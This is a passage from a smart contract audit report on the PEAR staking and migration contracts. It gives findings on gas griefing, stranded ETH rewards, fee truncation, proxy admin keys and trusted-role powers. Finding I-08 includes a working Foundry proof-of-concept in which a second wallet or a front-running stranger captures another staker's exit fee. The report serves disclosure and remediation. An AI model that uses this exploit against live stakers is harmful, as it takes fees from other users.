`stakeFor()` lets any PEAR holder append a stake lot to another account's FIFO queue, provided the amount meets the configured minimum. `unstake()` walks that queue until it covers the withdrawal amount, doing storage work for each lot. A third party can therefore raise the gas cost of a beneficiary's full withdrawal by making repeated minimum-size PEAR donations. `skipZeroStakeLots()` cannot remove these lots because their amounts are nonzero.

The attacker must pay for each donated lot and each transaction. A read-only call to the deployed Arbitrum staker at block `513173653` returned `minStakeAmount = 1 PEAR`, so 1-wei lots cannot be created in that observed configuration. The victim can also work through the queue with several smaller `unstake()` calls. No benchmark or inventory of affected live accounts establishes a practical gas-limit denial at the configured floor. The supported impact is extra withdrawal gas and transactions if enough lots are donated. The HyperEVM staker (`src/hyper/PearStaker.sol:255`) requires a nonzero minimum before migration finalization, which limits the analogous route there.

Location of Affected Code

File: src/staker/PearStaker.sol#L241

```
function stakeFor(address account, uint256 amount) external whenNotFrozen updateReward(account) {
 _validateStakeAmount(amount);
 if (!pearToken.transferFrom(msg.sender, address(this), amount)) {
  revert Errors.PearStaker_TransferFailed();
```

```
    }
    _mint(account, amount);
    stakedAmounts[account].push(StakedAmount(amount, block.timestamp));
    emit Events.Staked(account, amount);
  }
```

`_processExitFees()` (`src/staker/PearStaker.sol:146`) advances through lots while `remainingAmount > 0`, and `unstake()` (`src/staker/PearStaker.sol:272`) calls it without a lot-count parameter. The floor is enforced by `_validateStakeAmount()` (`src/staker/PearStaker.sol:480`).

Impact

An account that receives many unsolicited stake lots may need several withdrawal transactions, or pay more gas, to exit. The attack cannot remove PEAR from the victim, because each new lot is funded by the caller and increases the victim's stPEAR balance. The 1 PEAR live floor and the option to withdraw in smaller steps limit how feasible the attack is.

Recommendation

Keep a nonzero minimum calibrated to the cost of processing a lot. For stronger protection, require beneficiary consent for third-party stakes, or provide a bounded withdrawal mechanism that preserves each lot's exit-fee tenure.

Team Response

Acknowledged.

I-04

INFO ACKNOWLEDGED

Permanent Freeze Can Strand ETH Rewards of Nonpayable Contract Stakers

Description

Anyone can call `stakeFor()` for a contract address. A contract that can call the staker but rejects ETH transfers can therefore hold stPEAR and accrue an ETH staking reward. Both ETH claim functions pay only `msg.sender`, and a failed transfer reverts the entire claim. Before migration, such a contract can use `compoundStakingReward()` to convert the reward to PEAR. In the reviewed migration implementation, however, `setFrozen(true)` disables compounding, and a `withdrawToken()` call during the freeze sets `drained`, after which the admin cannot unfreeze. stPEAR also cannot be transferred to an address that accepts ETH.

This affects only contract stakers that reject ETH and hold a positive ETH reward when the permanent freeze is applied. It does not affect ordinary payable accounts. A read-only `frozen()` call against the deployed staker returned no data at Arbitrum block `513172292`, so the reviewed freeze functionality did not appear to be deployed at that point. No inventory establishes whether any live contract account meets these conditions or how much ETH it could lose access to.

Location of Affected Code

File: src/staker/PearStaker.sol#L288

```
function getStakingReward() external override updateReward(msg.sender) {
 uint256 amount = rewards[msg.sender];
 rewards[msg.sender] = 0;
 (bool success, ) = msg.sender.call{ value: amount }("");
 if (!success) {
  revert Errors.PearStaker_TransferFailed();
 }

 emit Events.StakingReward(msg.sender, amount);
}
```

- `getReward()` (`src/staker/PearStaker.sol:385`) uses the same recipient and failure handling. `compoundStakingReward()` (`src/staker/PearStaker.sol:301`) has `whenNotFrozen`.
- `setFrozen()` (`src/staker/PearStaker.sol:472`) refuses to unfreeze once `withdrawToken()` (`src/staker/PearStaker.sol:437`) has set `drained` to true.
- `transfer()` (`src/staker/PearStaker.sol:424`) and `transferFrom()` (`src/staker/PearStaker.sol:430`) revert.

Impact

After the permanent freeze, an affected contract has no staker API route to receive or compound its accrued ETH reward. `getExitFeeReward()` can still transfer its separate PEAR exit-fee reward, but it does not release ETH. Whether live funds are affected is unverified.

Recommendation

Allow each staker to designate an ETH reward recipient that can accept ETH. Alternatively, keep a safe conversion route open during the freeze, provided its effect on migration accounting is explicitly handled.

Team Response

Acknowledged.

I-05

INFO ACKNOWLEDGED

Fee Deposits Can Be Accepted Without Allocation to Stakers (Zero-Supply and Dust-Truncation Branches)

Description

`PearStaker.depositStakerFee()` can accept ETH that is never credited to the staking-reward index, in two distinct branches of the same function:

Branch 1: zero supply (before the first stake). `depositStakerFee()` returns immediately when `totalSupply() == 0`, before updating `rewardPerTokenStored` and without emitting an event. A later first staker accrues nothing from that deposit, since `_earned()` never references it. Because the return is silent, monitoring cannot see this state.

Branch 2: live supply, truncation. With a positive supply, `rewardPerTokenStored += (feeAmount * 1e18) / totalSupply()` truncates to zero whenever `feeAmount < totalSupply() / 1e18` wei. The ETH is accepted and retained, but the index does not move, so no staker ever accrues it. Each deposit is divided independently, so repeated small deposits never add up to a credit either. Unlike Branch 1, this branch emits `DepositStakerFee(feeAmount, 0)`, which is observable but shows a zero per-token increment. At the reviewed live scale (stPEAR `totalSupply()` of 155,303,139.419388571106343173 at block 513,175,550), the threshold is `totalSupply()/1e18 ≈ 1.553e8` wei, so **any single fee deposit below 155,303,140 wei (about 0.155 gwei, or 0.000000000155 ETH) credits zero**.

Both branches affect only trusted depositors (`onlyPlatformLogicOrAdmin`: the Comptroller admin, PlatformLogic, or the Vertex callback wallet), and the realistic route is the manual admin deposit script. The reviewed `PlatformLogic.depositAmountToStakingRewards()` helper, which could automate small per-trade deposits, is internal and has no active caller, and the referral and fee paths that fed it are retired (`docs/REFERRAL_REBATE_REMOVAL.md`). In both branches, the Comptroller admin can recover the ETH through `withdrawFees()`.

Location of Affected Code

File: src/staker/PearStaker.sol#L114-L126

```
function depositStakerFee() external payable override onlyPlatformLogicOrAdmin {
 uint256 feeAmount = msg.value;
 if (totalSupply() == 0) {
  return;                    // Branch 1: silent, no event
 }
 if (feeAmount == 0) {
  revert Errors.PearStaker_ZeroEarnedAmount();
 }
 // multiplyng by 1e18 to keep the precision
```

```
    uint256 feeAmountEarnedPerToken = (feeAmount * 1e18) / totalSupply();
    // Branch 2: feeAmount < totalSupply()/1e18 ⇒ feeAmountEarnedPerToken == 0
    rewardPerTokenStored += feeAmountEarnedPerToken;
    emit Events.DepositStakerFee(feeAmount, feeAmountEarnedPerToken);
  }
```

Impact

Fee ETH accepted through either branch never enters `rewardPerTokenStored`, so it does not affect the ETH component of `earned(account)` for any staker. The value is stranded: it can be recovered administratively via `withdrawFees()`, but the reward accounting never sees it. This happens either at launch (Branch 1) or at any time while staking is live (Branch 2, where each deposit is divided independently, so batching later does not recover the credit). No staker funds are at risk; the loss is misdirected protocol fee value, and only trusted callers can trigger it.

Branch 2 was executed locally during review: with 1,000 PEAR staked, `depositStakerFee{value: 10}()` leaves `rewardPerTokenStored` unchanged (`10 * 1e18 / 1000e18 = 0`) while the ETH is retained.

Recommendation

Make every accepted deposit either credit stakers or revert:

1. **Branch 1:** revert instead of returning silently at zero supply, or explicitly escrow the deposit with an event and defined first-staker economics.
2. **Branch 2:** carry the division remainder instead of discarding it. Accumulate the leftover sub-per-token amount in a `pendingFeeRemainder` state variable and add it to the next deposit before dividing, so aggregate credit equals aggregate deposits. A minimal alternative is to revert when `feeAmount > 0 && feeAmountEarnedPerToken == 0`, forcing the depositor to batch deposits up to a size that credits stakers.

Team Response

Acknowledged.

I-06

INFO FIXED

Comptroller Handover Leaves Independent Proxy Upgrade Keys

Description

The upgradeable proxies in scope have an authority separate from `Comptroller.admin`: Solady's `ERC1967Factory` stores an admin for each proxy and checks it on upgrade. The out-of-scope `TransferAdmin.s.sol` script rotates the Comptroller role, while its `VerifyAdmin` step checks only each implementation's active `comptroller()` and that Comptroller's admin. Neither step changes or verifies the factory roles, and any business-role mismatch it detects only prints a warning instead of reverting. If this script is used for an Arbitrum Comptroller handover, the operator must rotate the proxy roles separately. The migration Q&A at `src/staker/questionanswer.md:31-32` says the Arbitrum Comptroller admin will move to a 3-of-5 Fireblocks multisig before cutover, although that answer is marked `[confirm]`. The documented HyperEVM Safe handover is a separate process. Given the Arbitrum plan, verifying the independent proxy upgrade roles is a concrete cutover task.

At Arbitrum block `513173653`, the canonical factory `0x0000000000006396FF2a80c067f99B3d2Ab4Df24` reported:

PROXY	FACTORY UPGRADE ADMIN
PearStaker `0xcE3be5204017BB1bD279937f92dF09Fd7F539B92`	`0x417167e1ef4AeDF9AFa4DC3e6613d439773dA7BB`
PearDistribution `0x5e3693d6C35c9358DEa70921FC131BcC6Abf8adC`	`0x92DF03ddaB52AAdBd3974b1F4F10E6e40bc5De96`
PearDistribution2 `0x5d38Dac6122C5b0EDD3f3Fa9CDe7C3d4E6854399`	`0x92DF03ddaB52AAdBd3974b1F4F10E6e40bc5De96`
PearStakingAirdrop `0x2b7e7Aa4120aB81361C46CB5f3dC879de5D85dfd`	`0x92DF03ddaB52AAdBd3974b1F4F10E6e40bc5De96`

The current `Comptroller.admin()` is `0x417167...7BB`, so the separate distribution and airdrop upgrade key already sits outside the business-admin role. Neither proxy-admin address had runtime code at the pinned block. An Arbitrum business-admin handover that uses only this script would leave the staker and claim-contract upgrade keys unchanged unless the authorized keyholders also call `changeAdmin()` on the factory. An upgrade can execute arbitrary logic in the proxy's context without satisfying the old implementation's `onlyAdmin` checks. This is intentional privileged control, not a permissionless takeover.

Location of Affected Code

File: script/TransferAdmin.s.sol#L57-L63

File: lib/solady/src/utils/ERC1967Factory.sol#L233-L237

File: lib/solady/src/utils/ERC1967Factory.sol#L112-L140

```
// TransferAdmin rotates the Comptroller business role only.
comptroller.transferAdmin(newAdmin);
comptroller.acceptAdmin();

// Solady keeps the independent upgrade role in factory storage.
function adminOf(address proxy) public view returns (address admin) {
  assembly {
    admin := sload(shl(96, proxy))
  }
}

// upgradeAndCall authorizes the stored proxy admin, not comptroller.admin().
if iszero(eq(sload(shl(96, proxy)), caller())) {
  mstore(0x00, _UNAUTHORIZED_ERROR_SELECTOR)
  revert(0x1c, 0x04)
}
```

The full set of affected ranges is `script/TransferAdmin.s.sol:8-12,57-63,138-180` and `lib/solady/src/utils/ERC1967Factory.sol:76-96,112-140,233-237`. `script/DeployPearDistribution.s.sol:32-33` and `script/DeployPearAirdrop.s.sol:50` pass an initial factory admin separately from the contracts' Comptroller reference.

Impact

The separation of roles matters today and continues to matter after a business-admin handover. On the pinned fork, the deployed staker held **155,501,737.724179996735144192 PEAR**. Unless the factory role is also rotated, the staker's current proxy admin would keep upgrade authority over that funded proxy after losing its business-method authority in the planned handover. The airdrop proxy held no PEAR, but its configured vault held **575,650 PEAR** and had approved the proxy for **555,824 PEAR**, so the separate airdrop proxy admin could upgrade the proxy to spend that allowance. Both distribution proxies held zero PEAR at the pinned block, so their immediate balance exposure was zero. All of these actions require authorized proxy-admin keys or their compromise; they are privileged custody powers.

Recommendation

If the intended trust model calls for Safe control of the Arbitrum proxies, inventory every Solady proxy and rotate each `factory.adminOf(proxy)` to the intended Safe using `changeAdmin()`, coordinating both current proxy-admin keys. Make `VerifyAdmin` assert the expected factory admin for each proxy and revert on any mismatch. After the full handover, verify both the factory and Comptroller roles.

Team Response

Fixed.

I-07

INFO FIXED

Non-Transferable stPEAR Still Accepts ERC-20 Approvals

Description

`PearStaker` mints stPEAR as an ERC-20 receipt but disables secondary trading: both `transfer()` and `transferFrom()` are overridden to revert with `PearStaker_StakesAreNotTransferable`. `approve()` is not overridden, so the OpenZeppelin v5.0.2 `ERC20Upgradeable` implementation runs unchanged. In that implementation, `approve()` only writes the `_allowances` mapping and emits an `Approval` event. It never goes through `_transfer()` or `_update()`, so the transfer overrides do not restrict it. A holder can therefore successfully call `approve()` on stPEAR, even though the resulting allowance can never be spent, because every `transferFrom()` reverts unconditionally.

The contract's own doc comment states that the token "does not implement any of the standard ERC20 functions for transfer and allowance", so the allowance part of that statement does not match the code. The same gap exists in the HyperEVM variant (`src/hyper/PearStaker.sol:310-325`, stPAIR). No protocol contract depends on stPEAR approvals: the `approve()` calls in `PearDistribution.claim()` and `PearStakingAirdrop.claim()` (`src/staker/PearDistribution.sol:189`; `src/staker/PearStakingAirdrop.sol:111`) approve the underlying PEAR to the staker, not stPEAR.

Location of Affected Code

File: src/staker/PearStaker.sol#L422-L437

```
/**
 * @dev Being non transferrable, the stPear token does not implement any of
 * the standard ERC20 functions for transfer and allowance.
 */
function transfer(address to, uint256 value) public virtual override(ERC20Upgradeable, IERC20) returns (bool) {
 to;
 value;
 revert Errors.PearStaker_StakesAreNotTransferable();
```

```
}

function transferFrom(address sender, address recipient, uint256 amount) public virtual override(ERC20Upgradeable,
IERC20) returns (bool) {
 sender;
 recipient;
 amount;
 revert Errors.PearStaker_StakesAreNotTransferable();
}

// approve() is inherited from
// lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/ERC20Upgradeable.sol:155-159,
// which only writes _allowances and emits Approval without touching _update.
```

Impact

Approvals on stPEAR are dead state: they cannot be spent because `transferFrom()` always reverts, so there is no direct fund-loss path. Accepting them is still misleading. Wallets, explorers, and indexers that surface `allowance()` or `Approval` events will show live, spendable allowances for a token that cannot be transferred. A third-party integration that relies on `approve()` succeeding would only discover the restriction later, when `transferFrom()` reverts during an attempted transfer. The behavior contradicts the documented intent quoted above. During the migration freeze, `approve()` also becomes the only ERC-20 function on stPEAR that still changes state, since the stake, unstake, and compounding paths revert under `whenNotFrozen`.

Recommendation

Override `approve()` in both staker variants to revert with the same `PearStaker_StakesAreNotTransferable` error, matching the transfer behavior. Reverting is preferable to returning `false`, which some callers ignore. In OpenZeppelin v5, `increaseAllowance()` and `decreaseAllowance()` no longer exist on ERC-20, and the staker does not use `ERC20PermitUpgradeable`, so `approve()` is the only entry point that needs closing. The change is safe for the protocol itself because nothing calls `approve()` on the staker.

Team Response

Fixed.

I-08

INFO ACKNOWLEDGED

Exit-Fee Redistribution Permits Self-Recovery Through Another Wallet

Description

`PearStaker.unstake()` distributes early-exit fees pro rata among the other stPEAR holders. It excludes the withdrawing *address* from its own fee by advancing that address's checkpoint, but `_earned()` performs no check on the recipient's stake age. A second wallet controlled by the same person can therefore receive part of the first wallet's fee. A new holder can also receive a fee if its stake is made just before an unstake. The same accounting pattern exists in `src/hyper/PearStaker.sol`.

The second wallet's share is its balance divided by the total supply held by everyone except the withdrawer at the time of the fee. Recovering the whole fee, as in the PoC, requires that wallet to be the only remaining staker; in a populated pool, a 1-wei or 1-PEAR wallet does not capture the whole fee. The staking FAQ says fees go pro rata to remaining holders and describes this as rewarding longer-term stakers. It does not explicitly promise a minimum recipient age or a distribution that resists one person using multiple wallets. This report therefore records a possible mismatch in incentive design for the team to confirm, rather than an established loss of backing or a bypass of an explicit on-chain age rule.

The third-party test imposes a stake-before-unstake ordering. It does not show that a pending Arbitrum unstake is visible or that a practical ordering mechanism exists, and Arbitrum's private sequencing makes public-mempool fee sniping an unsupported assumption here.

Location of Affected Code

File: src/staker/PearStaker.sol#L274-L288

File: src/staker/PearStaker.sol#L128-L140

File: src/staker/PearStaker.sol#L377-L385

```
function unstake(uint256 amount) external override whenNotFrozen updateReward(msg.sender) {
 // ...
 uint256 totalExitFee = _processExitFees(msg.sender, amount);
 uint256 amountAfterFee = amount - totalExitFee;
 // ...
 _burn(msg.sender, amount);
 _depositExitFee(totalExitFee, balanceOf(msg.sender)); // balance AFTER burn
 userExitFeePerTokenPaid[msg.sender] = exitFeePerTokenStored; // address-level exclusion
 // ...
}
```

```
function _depositExitFee(uint256 _exitFee, uint256 _userStake) internal {
 if (totalSupply() - _userStake == 0 || _exitFee == 0) {
  return;
 }
 uint256 exitFeeEarnedPerToken = (_exitFee * 1e18) / (totalSupply() - _userStake);
 exitFeePerTokenStored += exitFeeEarnedPerToken;
}

function _earned(address _account) internal view returns (uint256 totalRewards, uint256 totalExitFees) {
 // accrues to any non-zero balance; no recipient age/cooldown/snapshot check
 totalExitFees = ((balanceOf(_account) * (exitFeePerTokenStored - userExitFeePerTokenPaid[_account])) / 1e18) +
exitFeesCollected[_account];
}
```

The identical distribution logic exists in the HyperEVM port at `src/hyper/PearStaker.sol:97-104`.

Impact

A fee payer who already controls another staked wallet receives a share of its own fee through the ordinary pro-rata distribution. That share can be material when the other wallet holds a large fraction of the supply held outside the withdrawer. No PEAR principal is created or removed, and the total credited to all recipients never exceeds the exit fee. The demonstrated two-account, zero-cost round trip is an edge case, not a representative estimate for the live pool. Whether self-recovery violates the protocol's intent depends on the team's decision about who is eligible to receive fees, so this finding remains Informational pending that decision.

Proof of Concept

The PoC lives at `test/PS01SybilExitFee.t.sol` in the audited repository. It was run against a live Arbitrum fork (tip block `513225334`), and all three tests pass:

```
ARBITRUM_RPC_URL=https://arb1.arbitrum.io/rpc forge test --match-path test/PS01SybilExitFee.t.sol -vv
```

The harness deploys the reviewed `PearStaker` source through the standard test stack with the real PEAR token, and covers three scenarios:

1. `test_POC_ExploitA_sybilReclaimsEntireExitFee_1weiPartner`: A stakes 100 PEAR, and B (the same operator's second wallet) stakes 1 wei. A unstakes within 24 hours and pays the 20 PEAR fee. `earned(user2)` returns exactly **20 PEAR**, which B claims via `getExitFeeReward()` while still staked. B's own 1-wei lot then exits with a zero fee (`floor(1 × 2000 / 10_000) = 0`). The pair's combined PEAR loss for the "20% early exit" is **0**.
2. `test_POC_ExploitA_withLiveMinStakeFloor`: with `minStakeAmount` set to 1 PEAR (the deployed value), B stakes 1 PEAR, A pays the 20 PEAR fee, B reclaims it, and B unstakes fee-free after 31 days. The combined loss is **0 PEAR**.
3. `test_POC_ExploitB_thirdPartySnipesVictimFee`: an independent attacker stakes 1 PEAR immediately before a victim's 100 PEAR early unstake. After one block of stake age, the attacker accrues and claims the victim's entire **20 PEAR** fee, while the victim receives only 80 PEAR.

Modeling notes: the tests exercise the reviewed source in the standard harness rather than the deployed proxy. The two-account pools make the capture total; in a populated pool, the captured share equals the partner wallet's fraction of the supply held outside the withdrawer. Gas costs and a practical way to control ordering on Arbitrum are not established.

Full PoC source: `test/PS01SybilExitFee.t.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.20;

import { PearStakerTest } from "./PearStaker.t.sol";
import { console2 } from "forge-std/console2.sol";

/// @title PS-01 PoC: address-level exit-fee exclusion is defeated by a second
/// wallet. The withdrawer's early-exit fee is distributed pro-rata to every
/// OTHER staker with no age/cooldown requirement, so a self-controlled partner
/// wallet (or a frontrunning stranger) captures the entire penalty.
contract PS01SybilExitFeePoC is PearStakerTest {
 uint256 constant STAKE_A = 100e18; // early exit -> 20% fee = 20 PEAR

 function setUp() public override {
  PearStakerTest.setUp();
  // Wallet B is controlled by the same operator as A in Exploit A, or an
  // independent attacker in Exploit B.
  deal(address(pearToken), user2, 10e18);
  vm.startPrank(user2);
  pearToken.approve(address(pearStaker), type(uint256).max);
  vm.stopPrank();
 }

 /// Exploit A, minimal form: B stakes 1 wei (minStakeAmount defaults to 0).
 /// The whole 20 PEAR penalty is reclaimed and B's own exit fee truncates to
 /// zero, so the pair's combined loss for the "20% early exit" is exactly 0.
 function test_POC_ExploitA_sybilReclaimsEntireExitFee_1weiPartner() public {
```

```
    uint256 combinedBefore = pearToken.balanceOf(user) + pearToken.balanceOf(user2);

    vm.startPrank(user);
    pearStaker.stake(STAKE_A);
    vm.stopPrank();

    vm.startPrank(user2);
    pearStaker.stake(1); // <-- 1 wei of PEAR is enough
    vm.stopPrank();

    // A exits within 24h: 20% fee charged by the FIFO lot rules.
    uint256 quote = pearStaker.calculateExitFees(user, STAKE_A);
    assertEq(quote, 20e18, "victim fee quote should be 20 PEAR");

    vm.startPrank(user);
    pearStaker.unstake(STAKE_A); // receives 80 PEAR
    vm.stopPrank();

    // The fee accrued in full to the only *other* staker: wallet B.
    (, uint256 bExitFee) = pearStaker.earned(user2);
    assertEq(bExitFee, 20e18, "partner wallet accrues the entire exit fee");

    // A itself is excluded (address-level check only).
    (, uint256 aExitFee) = pearStaker.earned(user);
    assertEq(aExitFee, 0, "withdrawer does not accrue its own fee");

    // B claims the fee while still holding its 1-wei stake...
    vm.prank(user2);
    pearStaker.getExitFeeReward();

    // B holds 10 PEAR - 1 wei (its stake is in the staker) + the reclaimed 20 PEAR.
    assertEq(pearToken.balanceOf(user2), 10e18 - 1 + 20e18, "B pocketed A's 20 PEAR fee");

    // ...then exits. floor(1 * 2000 / 10000) = 0: B pays nothing.
    assertEq(pearStaker.calculateExitFees(user2, 1), 0, "1-wei lot exit fee truncates to zero");
    vm.prank(user2);
    pearStaker.unstake(1);

    uint256 combinedAfter = pearToken.balanceOf(user) + pearToken.balanceOf(user2);
    console2.log("combined PEAR lost by A+B pair :", combinedBefore - combinedAfter);
    assertEq(combinedAfter, combinedBefore, "20% early-exit penalty fully neutralized at zero cost");
}

/// Exploit B: a stranger frontruns a known early exit with a 1 PEAR stake
/// and captures the victim's whole penalty after one block of staking.
function test_POC_ExploitB_thirdPartySnipesVictimFee() public {
    vm.startPrank(user);
    pearStaker.stake(STAKE_A);
    vm.stopPrank();
```

```
    // Attacker sees the victim's pending unstake and stakes first.
    vm.startPrank(user2);
    pearStaker.stake(1e18);
    vm.stopPrank();

    uint256 victimPearBefore = pearToken.balanceOf(user);
    vm.prank(user);
    pearStaker.unstake(STAKE_A);
    assertEq(pearToken.balanceOf(user), victimPearBefore + 80e18, "victim paid the 20 PEAR fee");

    (, uint256 attackerFee) = pearStaker.earned(user2);
    assertEq(attackerFee, 20e18, "attacker accrued the victim's entire fee");

    uint256 attackerBefore = pearToken.balanceOf(user2);
    vm.prank(user2);
    pearStaker.getExitFeeReward();
    assertEq(
      pearToken.balanceOf(user2) - attackerBefore,
      20e18,
      "one-block stake captured the fee meant for long-term stakers"
    );
  }

  /// Live constraint: the deployed staker sets minStakeAmount = 1 PEAR. The
  /// attack still works; the pair's round-trip cost is B's own 0.2 PEAR fee
  /// instead of A's 20 PEAR fee (1% of the intended penalty).
  function test_POC_ExploitA_withLiveMinStakeFloor() public {
    vm.prank(comptroller.admin());
    pearStaker.setMinStakeAmount(1e18);

    uint256 combinedBefore = pearToken.balanceOf(user) + pearToken.balanceOf(user2);

    vm.startPrank(user);
    pearStaker.stake(STAKE_A);
    vm.stopPrank();

    vm.startPrank(user2);
    pearStaker.stake(1e18);
    vm.stopPrank();

    vm.startPrank(user);
    pearStaker.unstake(STAKE_A); // pays 20 PEAR
    vm.stopPrank();

    vm.prank(user2);
    pearStaker.getExitFeeReward(); // reclaims 20 PEAR

    vm.startPrank(user2);
    // Wait out the 30-day tier and even B's own exit fee is zero.
```

```
    skip(31 days);
    assertEq(pearStaker.calculateExitFees(user2, 1e18), 0, "30-day lot pays no exit fee");
    pearStaker.unstake(1e18);
    vm.stopPrank();

    uint256 combinedAfter = pearToken.balanceOf(user) + pearToken.balanceOf(user2);
    console2.log("combined PEAR lost by A+B pair :", combinedBefore - combinedAfter);
    assertEq(combinedAfter, combinedBefore, "with 1 PEAR floor + 31d wait the penalty cost is zero");
  }
}
```

Recommendation

Confirm whether every non-withdrawing staker is intentionally eligible for the fee, regardless of stake age or common ownership. If so, document that the fee is an address-level deterrent and close this observation. If tenure is intended as an eligibility rule, specify it at fee accrual and test the rule against a funded, populated pool. An age check applied only at claim time does not stop a second wallet from waiting and then collecting, and address-based age checks cannot reliably prove that wallets have distinct owners.

Team Response

Acknowledged.

I-09

INFO ACKNOWLEDGED

Composer Recovery Address Can Sweep In-Flight User Funds Despite the Trust Table

Description

`recoverEvmERC20()` and `recoverEvmNative()`, inherited from the vendored `RecoverableComposer`, let `RECOVERY_ADDRESS` withdraw any amount, or the whole balance with `FULL_TRANSFER`. On-chain, the composer cannot tell stranded funds apart from user funds it holds only temporarily. These include PAIR minted to it by `lzReceive()` for a pending HyperCore delivery, and PAIR and HYPE parked by a failed message until `refundToSrc()` is called. A sweep during either window makes the later `lzCompose()` or `refundToSrc()` revert until the recovery address returns the funds.

Only the recovery address can do this, so it is a trusted-role power. However, `docs/hyperevm-migration.md:68` says the recovery address cannot "act on messages that complete normally", and the code does not enforce that boundary.

Location of Affected Code

File: src/hyper/composer/extensions/RecoverableComposer.sol#L85-L104

```
function recoverEvmERC20(uint256 _evmAmount) public onlyRecoveryAddress {
  // @audit FULL_TRANSFER takes the whole balance, including in-flight and parked user PAIR
  uint256 recoverAmt = _evmAmount == FULL_TRANSFER ? IERC20(ERC20).balanceOf(address(this)) : _evmAmount;

  IERC20(ERC20).safeTransfer(RECOVERY_ADDRESS, recoverAmt);
  emit Recovered(RECOVERY_ADDRESS, recoverAmt);
}
// recoverEvmNative() follows the same pattern for HYPE parked by failed messages
```

Recommendation

State in the trust table that this boundary is procedural and not enforced on-chain. Operationally, never use `FULL_TRANSFER`. Recover only the composer's balance minus the PAIR of undelivered composes and the PAIR and HYPE of unrefunded failed messages, computed from the `OFTReceived` / `ComposeDelivered` and `FailedMessageDecode` / `RefundSuccessful` events.

Team Response

Acknowledged.

I-10

INFO FIXED

The Migration Window Depends on One Admin Key, With No User Exit and No Deadline

Description

The documented rollout is executed by the admin by design. `withdrawToken(bridgeAmount)` pays the Arbitrum pool to `comptroller.admin()`, and the admin then bridges it manually with `SendParam.to` set to the HyperEVM staker. No production script builds that `SendParam`, and a wrong `to` cannot be rescued, either in `PairOFT` or in the non-upgradeable staker. On HyperEVM, seeded stakers cannot unstake until `finalizeMigration()` is called. That function is `onlyAdmin`, with no deadline and no permissionless fallback, and the Safe takes over the HyperEVM Comptroller only after finalization (`script/hyper/DeployHyperStaker.s.sol:23-26`).

Every outcome that leads to a lasting lock requires the admin to mishandle its own procedure or lose its key, so this is a key-management and runbook observation. For the duration of the window, though, the whole pool (about 155.3M stPEAR) has no user exit on either chain.

Location of Affected Code

File: src/hyper/PearStaker.sol#L258-L266

```
// @audit onlyAdmin, no deadline, no permissionless path: seeded stakers wait on one key
function finalizeMigration() external onlyAdmin {
 if (migrationFinalized) revert PearStaker_MigrationAlreadyFinalized();
 if (minStakeAmount == 0) revert PearStaker_MinStakeAmountNotSet();
 uint256 backing = pearToken.balanceOf(address(this));
 uint256 stakedSupply = totalSupply();
 if (backing < stakedSupply) revert PearStaker_InsufficientBacking(backing, stakedSupply);
 migrationFinalized = true;
 emit MigrationFinalized(stakedSupply, backing);
}
```

File: src/staker/PearStaker.sol#L436-L442

```
function withdrawToken(uint256 amount) external onlyAdmin {
 if (frozen && !drained) {
  drained = true;
  emit Events.Drained();
 }
 // @audit the pool is paid to the admin's wallet, then bridged by hand
 address admin = comptroller.admin();
 bool success = pearToken.transfer(admin, amount);
```

Recommendation

Hand the HyperEVM Comptroller to the Safe before the drain rather than after. Run the bridge `send()` from a reviewed script that sets `SendParam.to` to the HyperEVM staker, after a dust test send to the same address. Optionally, let anyone call `finalizeMigration()` once backing is present, `minStakeAmount > 0`, and a deadline has passed.

Team Response

Fixed.

I-11

INFO FIXED

The Freeze Can Be Lifted Between Snapshot and Drain, and a Stale Snapshot Passes Every Later Check

Description

`setFrozen(false)` is refused only after `drained` is set, and the contract does not record the block at which the freeze started. If the admin unfreezes after the snapshot, lets stakes change, and freezes again, a stale snapshot still passes every later check. `SeedStakers` checks only `snapshot.frozen`. The drain succeeds as long as the shortfall fits within the PEAR the pool holds above the stPEAR supply. `finalizeMigration()` compares the backing to the stale supply. Anyone who unstaked during that window would then be credited on both chains, at the expense of Arbitrum exit-fee claimants.

This requires the admin to deviate from the documented freeze, snapshot, drain order, so it is an operational hardening point.

Location of Affected Code

File: src/staker/PearStaker.sol#L471-L477

```
function setFrozen(bool _frozen) external onlyAdmin {
 // @audit unfreeze is allowed until the drain; nothing records when the freeze started
 if (drained && !_frozen) {
  revert Errors.PearStaker_Drained();
 }
 frozen = _frozen;
 emit Events.FrozenSet(_frozen);
}
```

File: script/hyper/SeedStakers.s.sol#L55

```
// @audit the only freshness check; true for a snapshot taken before a later unfreeze
require(s.frozen || allowUnfrozen, "SeedStakers: snapshot taken before the Arbitrum freeze");
```

Recommendation

Make the freeze one-way by having `setFrozen()` accept only `true`, since the rollout never unfreezes. If unfreezing must remain possible, record `frozenAtBlock` when freezing and check `snapshot.block >= frozenAtBlock` before `withdrawToken()`.

Team Response

Fixed.

I-12

INFO ACKNOWLEDGED

The Endpoint Delegate Can Permanently Discard Verified Inbound Messages, Stranding Locked PEAR

Description

`PairOFT` inherits `OAppCore.setDelegate()`, and the rollout sets the delegate to the Safe. In LayerZero's `EndpointV2`, `_assertAuthorized()` accepts either the OApp or its delegate, so the delegate can call `clear()`, `skip()`, `nilify()` and `burn()` on `PairOFT`'s inbound channel. A message that is cleared, skipped or burned never reaches `_credit()`: the sender's PEAR stays locked in `PearOFTAdapter`, and no PAIR is ever minted.

This requires the trusted Safe to misuse its power or be compromised. However, the delegate row of the trust table (`docs/hyperevm-migration.md:64`) lists only library and DVN changes, and `PairOFT._credit()` says a throttled message is "delayed, not lost" (`src/hyper/PairOFT.sol:134-135`).

Location of Affected Code

File: node_modules/@layerzerolabs/oapp-evm/contracts/oapp/OAppCore.sol#L80-L82

```
function setDelegate(address _delegate) public onlyOwner {
  endpoint.setDelegate(_delegate); // @audit the delegate gains clear/skip/nilify/burn on PairOFT's channel
}
```

File: node_modules/@layerzerolabs/lz-evm-protocol-v2/contracts/EndpointV2.sol#L211-L217

```
function clear(address _oapp, Origin calldata _origin, bytes32 _guid, bytes calldata _message) external {
  _assertAuthorized(_oapp); // @audit msg.sender == _oapp || msg.sender == delegates[_oapp]

  bytes memory payload = abi.encodePacked(_guid, _message);
  _clearPayload(_oapp, _origin.srcEid, _origin.sender, _origin.nonce, payload);
  emit PacketDelivered(_origin, _oapp); // @audit marked delivered; lzReceive and _credit never run
}
```

Recommendation

Add the delegate's `clear()`, `skip()`, `nilify()` and `burn()` powers to the delegate row of the trust table, together with the rule that it must not use them on messages from Arbitrum. Alert on `PacketNilified`, `PacketBurnt`, `InboundNonceSkipped`, `DelegateSet`, and any `PacketDelivered` event for `PairOFT` without a matching `OFTReceived`.

Team Response

Acknowledged.



Your security partner, for the long term

